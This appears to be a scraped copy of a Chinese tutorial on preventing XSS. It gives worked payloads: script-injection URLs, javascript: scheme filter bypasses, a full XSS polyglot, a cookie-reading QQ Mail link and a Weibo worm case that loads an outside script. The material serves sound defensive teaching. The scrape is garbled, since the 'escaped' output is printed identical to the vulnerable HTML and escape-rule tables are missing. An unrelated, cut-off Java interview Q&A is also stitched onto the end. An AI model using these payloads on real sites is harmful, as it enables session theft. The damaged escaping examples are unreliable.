整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          「基本功」前端安全系列之一:如何防止XSS攻擊?

          當當當,我是美團技術團隊的程序員鼓勵師美美~“基本功”專欄又來新文章了,這次是一個系列,一起來學習前端安全的那些事。我們將不斷梳理常見的前端安全問題以及對應的解決方案,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞,Enjoy Reading!


          背景

          隨著互聯網的高速發展,信息安全問題已經成為企業最為關注的焦點之一,而前端又是引發企業安全問題的高危據點。在移動互聯網時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。



          前端安全

          近幾年,美團業務高速發展,前端隨之面臨很多安全挑戰,因此積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,將會做成一個系列,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞。本文是該系列的第一篇。

          今天我們講解一下 XSS ,主要包括:

          1. XSS 攻擊的介紹
          2. XSS 攻擊的分類
          3. XSS 攻擊的預防和檢測
          4. XSS 攻擊的總結
          5. XSS 攻擊案例

          XSS攻擊的介紹

          在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正確:

          1. XSS 防范是后端 RD (研發人員)的責任,后端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。
          2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符后,就可以插入到頁面中。

          如果你還不能確定答案,那么可以帶著這些問題向下看,我們將逐步拆解問題。

          XSS 漏洞的發生和修復

          XSS 攻擊是頁面被注入了惡意的代碼,為了更形象的介紹,我們用發生在小明同學身邊的事例來進行說明。

          一個案例

          某天,公司需要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好并且上線。代碼如下:

          <input type="text" value="<%= getParameter("keyword") %>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:<%= getParameter("keyword") %>
          </div>
          

          然而,在上線后不久,小明就接到了安全組發來的一個神秘鏈接:

          http://xxx/search?keyword="><script>alert('XSS');</script>

          小明帶著一種不祥的預感點開了這個鏈接[請勿模仿,確認安全的鏈接才能點開]。果然,頁面中彈出了寫著"XSS"的對話框。

          可惡,中招了!小明眉頭一皺,發現了其中的奧秘:

          當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:

          <input type="text" value=""><script>alert('XSS');</script>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:"><script>alert('XSS');</script>
          </div>
          

          瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執行。

          這里不僅僅 div 的內容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。

          面對這種情況,我們應該如何進行防范呢?

          其實,這只是瀏覽器把用戶的輸入當成了腳本進行了執行。那么只要告訴瀏覽器這段內容是文本就可以了。

          聰明的小明很快找到解決方法,把這個漏洞修復:

          <input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:<%= escapeHTML(getParameter("keyword")) %>
          </div>
          

          escapeHTML() 按照如下規則進行轉義:



          經過了轉義函數的處理后,最終瀏覽器接收到的響應為:

          <input type="text" value=""><script>alert('XSS');</script>">
          <button>搜索</button>
          <div>
           您搜索的關鍵詞是:"><script>alert('XSS');</script>
          </div>
          

          惡意代碼都被轉義,不再被瀏覽器執行,而且搜索詞能夠完美的在頁面顯示出來。

          通過這個事件,小明學習到了如下知識:

          • 通常頁面中包含的用戶輸入內容都在固定的容器或者屬性內,以文本的形式展示。
          • 攻擊者利用這些頁面的用戶輸入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代碼片段。
          • 攻擊者通過在目標網站上注入腳本,使之在用戶的瀏覽器上運行,從而引發潛在風險。
          • 通過 HTML 轉義,可以防止 XSS 攻擊。[事情當然沒有這么簡單啦!請繼續往下看]。

          注意特殊的 HTML 屬性、JavaScript API

          自從上次事件之后,小明會小心的把插入到頁面中的數據進行轉義。而且他還發現了大部分模板都帶有的轉義配置,讓所有插入到頁面中的數據都默認進行轉義。這樣就不怕不小心漏掉未轉義的變量啦,于是小明的工作又漸漸變得輕松起來。

          但是,作為導演的我,不可能讓小明這么簡單、開心地改 Bug 。

          不久,小明又收到安全組的神秘鏈接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕忙點開頁面。然而,頁面并沒有自動彈出萬惡的“XSS”。

          小明打開對應頁面的源碼,發現有以下內容:

          <a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳轉...</a>
          

          這段代碼,當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS'),服務端響應就成了:

          <a href="javascript:alert('XSS')">跳轉...</a>
          

          雖然代碼不會立即執行,但一旦用戶點擊 a 標簽時,瀏覽器會就會彈出alert('xss')。

          可惡,又失策了…

          在這里,用戶的數據并沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內容并不是我們所預期的類型。

          原來不僅僅是特殊字符,連 javascript: 這樣的字符串如果出現在特定的位置也會引發 XSS 攻擊。

          小明眉頭一皺,想到了解決辦法:

          // 禁止 URL 以 "javascript:" 開頭
          xss = getParameter("redirect_to").startsWith('javascript:');
          if (!xss) {
           <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
           跳轉...
           </a>
          } else {
           <a href="/404">
           跳轉...
           </a>
          }
          

          只要 URL 的開頭不是 javascript:,就安全了吧?

          安全組隨手又扔了一個連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

          這也能執行?…..好吧,瀏覽器就是這么強大。

          小明欲哭無淚,在判斷 URL 開頭是否為 javascript: 時,先把用戶輸入轉成了小寫,然后再進行比對。

          不過,所謂“道高一尺,魔高一丈”。面對小明的防護策略,安全組就構造了這樣一個連接:

          http://xxx/?redirect_to=%20javascript:alert('XSS')

          %20javascript:alert('XSS') 經過 URL 解析后變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者可以繞過后端的關鍵詞規則,又成功的完成了注入。

          最終,小明選擇了白名單的方法,徹底解決了這個漏洞:

          // 根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等
          allowSchemes = ["http", "https"];
          valid = isValid(getParameter("redirect_to"), allowSchemes);
          if (valid) {
           <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
           跳轉...
           </a>
          } else {
           <a href="/404">
           跳轉...
           </a>
          }
          

          通過這個事件,小明學習到了如下知識:

          • 做了 HTML 轉義,并不等于高枕無憂。
          • 對于鏈接跳轉,如 <a href="xxx" 或 location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的鏈接,和其他非法的 scheme。

          根據上下文采用不同的轉義規則

          某天,小明為了加快網頁的加載速度,把一個數據通過 JSON 的方式內聯到 HTML 中:

          <script>
          var initData = <%= data.toJSON() %>
          </script>
          

          插入 JSON 的地方不能使用 escapeHTML(),因為轉義 " 后,JSON 格式會被破壞。

          但安全組又發現有漏洞,原來這樣內聯 JSON 也是不安全的:

          • 當 JSON 中包含 U+2028 或 U+2029 這兩個字符時,不能作為 JavaScript 的字面量使用,否則會拋出語法錯誤。
          • 當 JSON 中包含字符串<script>時,當前的 script 標簽將會被閉合,后面的字符串內容瀏覽器會按照 HTML 進行解析;通過增加下一個 <script> 標簽等方法就可以完成注入。

          于是我們又要實現一個 escapeEmbedJSON() 函數,對內聯 JSON 進行轉義。轉義規則如下:



          修復后的代碼如下:

          <script>
          var initData = <%= escapeEmbedJSON(data.toJSON()) %>
          

          通過這個事件,小明學習到了如下知識:

          • HTML 轉義是非常復雜的,在不同的情況下要采用不同的轉義規則。如果采用了錯誤的轉義規則,很有可能會埋下 XSS 隱患。
          • 應當盡量避免自己寫轉義庫,而應當采用成熟的、業界通用的轉義庫。


          漏洞總結

          小明的例子講完了,下面我們來系統的看下 XSS 有哪些注入的方法:

          • 在 HTML 中內嵌的文本中,惡意內容以 script 標簽形成注入。
          • 在內聯的 JavaScript 中,拼接的數據突破了原本的限制(字符串,變量,方法名等)。
          • 在標簽屬性中,惡意內容包含引號,從而突破屬性值的限制,注入其他屬性或者標簽。
          • 在標簽的 href、src 等屬性中,包含 javascript: 等可執行代碼。
          • 在 onload、onerror、onclick 等事件中,注入不受控制代碼。
          • 在 style 屬性和標簽中,包含類似 background-image:url("javascript:..."); 的代碼(新版本瀏覽器已經可以防范)。
          • 在 style 屬性和標簽中,包含類似 expression(...) 的 CSS 表達式代碼(新版本瀏覽器已經可以防范)。

          總之,如果開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。

          XSS攻擊的分類

          通過上述幾個例子,我們已經對 XSS 有了一些認識。

          什么是 XSS

          Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。

          為了和 CSS 區分,這里把攻擊的第一個字母改成了 X,于是叫做 XSS。

          XSS 的本質是:惡意代碼未經過濾,與網站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導致惡意腳本被執行。

          而由于直接在用戶的終端執行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。

          在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,并由瀏覽器執行,來完成比較復雜的攻擊策略。

          這里有一個問題:用戶是通過哪種方法“注入”惡意腳本的呢?

          不僅僅是業務上的“用戶的 UGC 內容”可以進行注入,包括 URL 上的參數等都可以是攻擊的來源。在處理輸入時,以下內容都不可信:

          • 來自用戶的 UGC 信息
          • 來自第三方的鏈接
          • URL 參數
          • POST 參數
          • Referer (可能來自不可信的來源)
          • Cookie (可能來自其他子域注入)

          XSS 分類

          根據攻擊的來源,XSS 攻擊可分為存儲型、反射型和 DOM 型三種。



          • 存儲區:惡意代碼存放的位置。
          • 插入點:由誰取得惡意代碼,并插入到網頁上。


          存儲型 XSS

          存儲型 XSS 的攻擊步驟:

          1. 攻擊者將惡意代碼提交到目標網站的數據庫中。
          2. 用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器。
          3. 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
          4. 在部分情況下,惡意代碼加載外部的代碼,用于執行更復雜的邏輯。
          5. 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。

          這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。

          反射型 XSS

          反射型 XSS 的攻擊步驟:

          1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
          2. 用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
          3. 用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
          4. 在部分情況下,惡意代碼加載外部的代碼,用于執行更復雜的邏輯
          5. 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。

          反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫里,反射型 XSS 的惡意代碼存在 URL 里。

          反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能,如網站搜索、跳轉等。

          由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。

          POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,并引導用戶點擊),所以非常少見。

          DOM 型 XSS

          DOM 型 XSS 的攻擊步驟:

          1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
          2. 用戶打開帶有惡意代碼的 URL。
          3. 用戶瀏覽器接收到響應后解析執行,前端 JavaScript 取出 URL 中的惡意代碼并執行。
          4. 在部分情況下,惡意代碼加載外部的代碼,用于執行更復雜的邏輯。
          5. 惡意代碼竊取用戶數據并發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作。

          DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。

          XSS攻擊的預防

          通過前面的介紹可以得知,XSS 攻擊有兩大要素:

          1. 攻擊者提交惡意代碼。
          2. 瀏覽器執行惡意代碼。

          針對第一個要素:我們是否能夠在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?

          輸入過濾

          在用戶提交時,由前端過濾輸入,然后提交到后端。這樣做是否可行呢?

          答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就可以提交惡意代碼了。

          那么,換一個過濾時機:后端在寫入數據庫前,對輸入進行過濾,然后把“安全的”內容,返回給前端。這樣是否可行呢?

          我們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 < 7。

          問題是:在提交階段,我們并不確定內容要輸出到哪里。

          這里的“并不確定內容要輸出到哪里”有兩層含義:

          1. 用戶的輸入內容可能同時提供給前端和客戶端,而一旦經過了 escapeHTML(),客戶端顯示的內容就變成了亂碼( 5 < 7 )。
          2. 在前端中,不同的位置所需的編碼也不同。
          • 當 5 < 7 作為 HTML 拼接頁面時,可以正常顯示:
          • <div title="comment">5 < 7</div>
          • 當 5 < 7 通過 Ajax 返回,然后賦值給 JavaScript 的變量時,前端得到的字符串就是轉義后的字符。這個內容不能直接用于 Vue 等模板的展示,也不能直接用于內容長度計算。不能用于標題、alert 等。

          所以,輸入側過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不確定性和亂碼問題。在防范 XSS 攻擊時應避免此類方法。

          當然,對于明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾還是必要的。

          既然輸入過濾并非完全可靠,我們就要通過“防止瀏覽器執行惡意代碼”來防范 XSS。這部分分為兩類:

          • 防止 HTML 中出現注入。
          • 防止 JavaScript 執行時,執行惡意代碼。


          預防存儲型和反射型 XSS 攻擊

          存儲型和反射型 XSS 都是在服務端取出惡意代碼后,插入到響應 HTML 里的,攻擊者刻意編寫的“數據”被內嵌到“代碼”中,被瀏覽器所執行。

          預防這兩種漏洞,有兩種常見做法:

          • 改成純前端渲染,把代碼和數據分隔開。
          • 對 HTML 做充分轉義。

          純前端渲染

          純前端渲染的過程:

          1. 瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
          2. 然后瀏覽器執行 HTML 中的 JavaScript。
          3. JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。

          在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。

          但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。

          在很多內部、管理系統中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。

          轉義 HTML

          如果拼接 HTML 是必要的,就需要采用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。

          常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對于 HTML 轉義通常只有一個規則,就是把 & < > " ' / 這幾個字符轉義掉,確實能起到一定的 XSS 防護作用,但并不完善:



          所以要完善 XSS 防護措施,我們要使用更完善更細致的轉義策略。

          例如 Java 工程里,常用的轉義庫為 org.owasp.encoder。以下代碼引用自 org.owasp.encoder 的官方說明。

          <!-- HTML 標簽內文字內容 -->
          <div><%= Encode.forHtml(UNTRUSTED) %></div>
          <!-- HTML 標簽屬性值 -->
          <input value="<%= Encode.forHtml(UNTRUSTED) %>" />
          <!-- CSS 屬性值 -->
          <div style="width:<= Encode.forCssString(UNTRUSTED) %>">
          <!-- CSS URL -->
          <div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
          <!-- JavaScript 內聯代碼塊 -->
          <script>
           var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
           alert(msg);
          </script>
          <!-- JavaScript 內聯代碼塊內嵌 JSON -->
          <script>
          var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
          </script>
          <!-- HTML 標簽內聯監聽器 -->
          <button
           onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
           click me
          </button>
          <!-- URL 參數 -->
          <a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
          <!-- URL 路徑 -->
          <a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
          <!--
           URL.
           注意:要根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等
          -->
          <a href='<%=
           urlValidator.isValid(UNTRUSTED) ?
           Encode.forHtml(UNTRUSTED) :
           "/404"
          %>'>
           link
          </a>
          

          可見,HTML 的編碼是十分復雜的,在不同的上下文里要使用相應的轉義規則。

          預防 DOM 型 XSS 攻擊

          DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的數據當作代碼執行了。

          在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent、.setAttribute() 等。

          如果用 Vue/React 技術棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。

          DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。

          <!-- 內聯事件監聽器中包含惡意代碼 -->
          <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
          <!-- 鏈接內包含惡意代碼 -->
          <a href="UNTRUSTED">1</a>
          <script>
          // setTimeout()/setInterval() 中調用惡意代碼
          setTimeout("UNTRUSTED")
          setInterval("UNTRUSTED")
          // location 調用惡意代碼
          location.href = 'UNTRUSTED'
          // eval() 中調用惡意代碼
          eval("UNTRUSTED")
          </script>
          

          如果項目中有用到這些的話,一定要避免在字符串中拼接不可信數據。

          其他XSS防范措施

          雖然在渲染頁面和執行 JavaScript 時,通過謹慎的轉義可以防止 XSS 的發生,但完全依靠開發的謹慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風險和后果。

          Content Security Policy

          嚴格的 CSP 在 XSS 的防范中可以起到以下的作用:

          • 禁止加載外域代碼,防止復雜的攻擊邏輯。
          • 禁止外域提交,網站被攻擊后,用戶的數據不會泄露到外域。
          • 禁止內聯腳本執行(規則較嚴格,目前發現 github 使用)。
          • 禁止未授權的腳本執行(新特性,Google Map 移動版在使用)。
          • 合理使用上報可以及時發現 XSS,利于盡快修復問題。

          關于 CSP 的詳情,請關注前端安全系列后續的文章。

          輸入內容長度控制

          對于不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。

          其他安全措施

          • HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此 Cookie。
          • 驗證碼:防止腳本冒充用戶提交危險操作。


          XSS的檢測

          上述經歷讓小明收獲頗豐,他也學會了如何去預防和修復 XSS 漏洞,在日常開發中也具備了相關的安全意識。但對于已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?

          經過一番搜索,小明找到了兩個方法:

          1. 使用通用 XSS 攻擊字符串手動檢測 XSS 漏洞。
          2. 使用掃描工具自動檢測 XSS 漏洞。

          在Unleashing an Ultimate XSS Polyglot一文中,小明發現了這么一個字符串:

          jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
          


          它能夠檢測到存在于 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。

          小明只要在網站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數上,就可以進行檢測了。

          http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
          


          除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。

          XSS攻擊的總結

          我們回到最開始提出的問題,相信同學們已經有了答案:

          1. XSS 防范是后端 RD 的責任,后端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。

          不正確。因為:防范存儲型和反射型 XSS 是后端 RD 的責任。而 DOM 型 XSS 攻擊不發生在后端,是前端 RD 的責任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統工程。轉義應該在輸出 HTML 時進行,而不是在提交用戶輸入時。

          2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符后,就可以插入到頁面了。

          不正確。不同的上下文,如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所需要的轉義規則不一致。業務 RD 需要選取合適的轉義庫,并針對不同的上下文調用不同的轉義規則。

          整體的 XSS 防范是非常復雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對數據進行對應的轉義。而且要防止多余和錯誤的轉義,避免正常的用戶輸入出現亂碼。

          雖然很難通過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的產生:

          • 利用模板引擎
          • 開啟模板引擎自帶的 HTML 轉義功能。例如:
          • 在 ejs 中,盡量使用 <%= data %> 而不是 <%- data %>;
          • 在 doT.js 中,盡量使用 {{! data } 而不是 {{= data };
          • 在 FreeMarker 中,確保引擎版本高于 2.3.24,并且選擇正確的 freemarker.core.OutputFormat。
          • 避免內聯事件
          • 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內聯事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
          • 避免拼接 HTML
          • 前端采用拼接 HTML 的方法比較危險,如果框架允許,使用 createElement、setAttribute 之類的方法實現。或者采用比較成熟的渲染框架,如 Vue/React 等。
          • 時刻保持警惕
          • 在插入位置為 DOM 屬性、鏈接等位置時,要打起精神,嚴加防范。
          • 增加攻擊難度,降低攻擊后果
          • 通過 CSP、輸入長度配置、接口安全措施等方法,增加攻擊的難度,降低攻擊的后果。
          • 主動檢測和發現
          • 可使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。


          XSS攻擊案例

          QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞

          攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uin、domain 未經轉義直接輸出到 HTML 中。

          于是攻擊者構建出一個 URL,并引導用戶去點擊:

          http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

          用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:

          <script>
          getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
          

          瀏覽器接收到響應后就會執行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。

          新浪微博名人堂反射型 XSS 漏洞

          攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未經過濾直接輸出到 HTML 中。

          于是攻擊者構建出一個 URL,然后誘導用戶去點擊:

          http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

          用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:

          <li><a ><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
          


          瀏覽器接收到響應后就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態進行關注、發微博、發私信等操作,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊范圍。這種竊用受害者身份發布惡意內容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。

          XSS攻擊擴展閱讀:Automatic Context-Aware Escaping

          上文我們說到:

          1. 合適的 HTML 轉義可以有效避免 XSS 漏洞。
          2. 完善的轉義庫需要針對上下文制定多種規則,例如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等等。
          3. 業務 RD 需要根據每個插入點所處的上下文,選取不同的轉義規則。

          通常,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,需要每個業務 RD 都充分理解 XSS 的各種情況,并且需要保證每一個插入點使用了正確的轉義規則。

          這種機制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發現隱患。

          2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping。

          所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每個插入點所處的上下文,據此自動選用不同的轉義規則。這樣就減輕了業務 RD 的工作負擔,也減少了人為帶來的疏漏。

          在一個支持 Automatic Context-Aware Escaping 的模板引擎里,業務 RD 可以這樣定義模板,而無需手動實施轉義規則:

          <html>
           <head>
           <meta charset="UTF-8">
           <title>{{.title}}</title>
           </head>
           <body>
           <a href="{{.url}}">{{.content}}</a>
           </body>
          </html>
          

          模板引擎經過解析后,得知三個插入點所處的上下文,自動選用相應的轉義規則:

          <html>
           <head>
           <meta charset="UTF-8">
           <title>{{.title | htmlescaper}}</title>
           </head>
           <body>
           <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
           </body>
          </html>
          

          目前已經支持 Automatic Context-Aware Escaping 的模板引擎有:

          • go html/template
          • Google Closure Templates


          課后作業:XSS攻擊小游戲

          以下是幾個 XSS 攻擊小游戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊即可通關。

          在玩游戲的過程中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。

          alert(1) to win

          prompt(1) to win

          XSS game

          參考文獻

          • Wikipedia. Cross-site scripting, Wikipedia.
          • OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet_Prevention_Cheat_Sheet), OWASP.
          • OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
          • Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
          • Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
          • Vue.js. v-html - Vue API docs, Vue.js.
          • React. dangerouslySetInnerHTML - DOM Elements, React.


          下期預告

          前端安全系列文章將對 XSS、CSRF、網絡劫持、Hybrid 安全等安全議題展開論述。下期我們要討論的是 CSRF 攻擊,敬請期待。

          作者介紹

          李陽,美團點評前端工程師。2016年加入美團點評,負責美團外賣 Hybrid 頁面性能優化相關工作。

          歡迎加入美團前端安全技術交流群,跟作者零距離交流。請加美美同學的微信(微信號:MTDPtech01),回復:前端安全,美美會自動拉你進群。

          、Java基礎

          1、Java中兩種數據類型(為后面進一步提問做鋪墊)

          (1)基本數據類型,分為boolean、byte、int、char、long、short、double、float;
          (2)引用數據類型 ,分為數組、類、接口。

          擴展:Java中引入了基本數據類型,但是為了能夠將這些基本數據類型當成對象操作,Java為每一個基本數據類型都引入了對應的包裝類型(wrapper class),int的包裝類就是Integer,從Java 5開始引入了自動裝箱/拆箱機制,使得二者可以相互轉換。

          基本數據類型: boolean,char,byte,short,int,long,float,double

          封裝類類型: Boolean,Character,Byte,Short,Integer,Long,Float,Double

          2、java中==和eqauls()的區別

          ==分兩類分析,既可以比較基本類型也可以比較引用類型,對于基本類型來說是比較的數值。對于引用類型來說比較的內存地址值;equals是屬于java.lang.Object類里面的方法,Object里的equals里默認的是雙等于==。分兩種情況討論:一種是自定義類,看自定義類有沒有重寫equals方法,通常情況下,如果重寫了equals則比較的是類中相應屬性是否相等。如果沒有重寫equals方法,則仍然使用==比較的是地址。

          總結、:

          == :
            基本類型:比較值是否相等
            引用類型:比較的就是內存地址是否相同
          equals :
            引用類型:默認情況下,比較的是地址值。可以進行重寫,使其比較對象的值是否相等。

          3、說說int和Integer有何區別

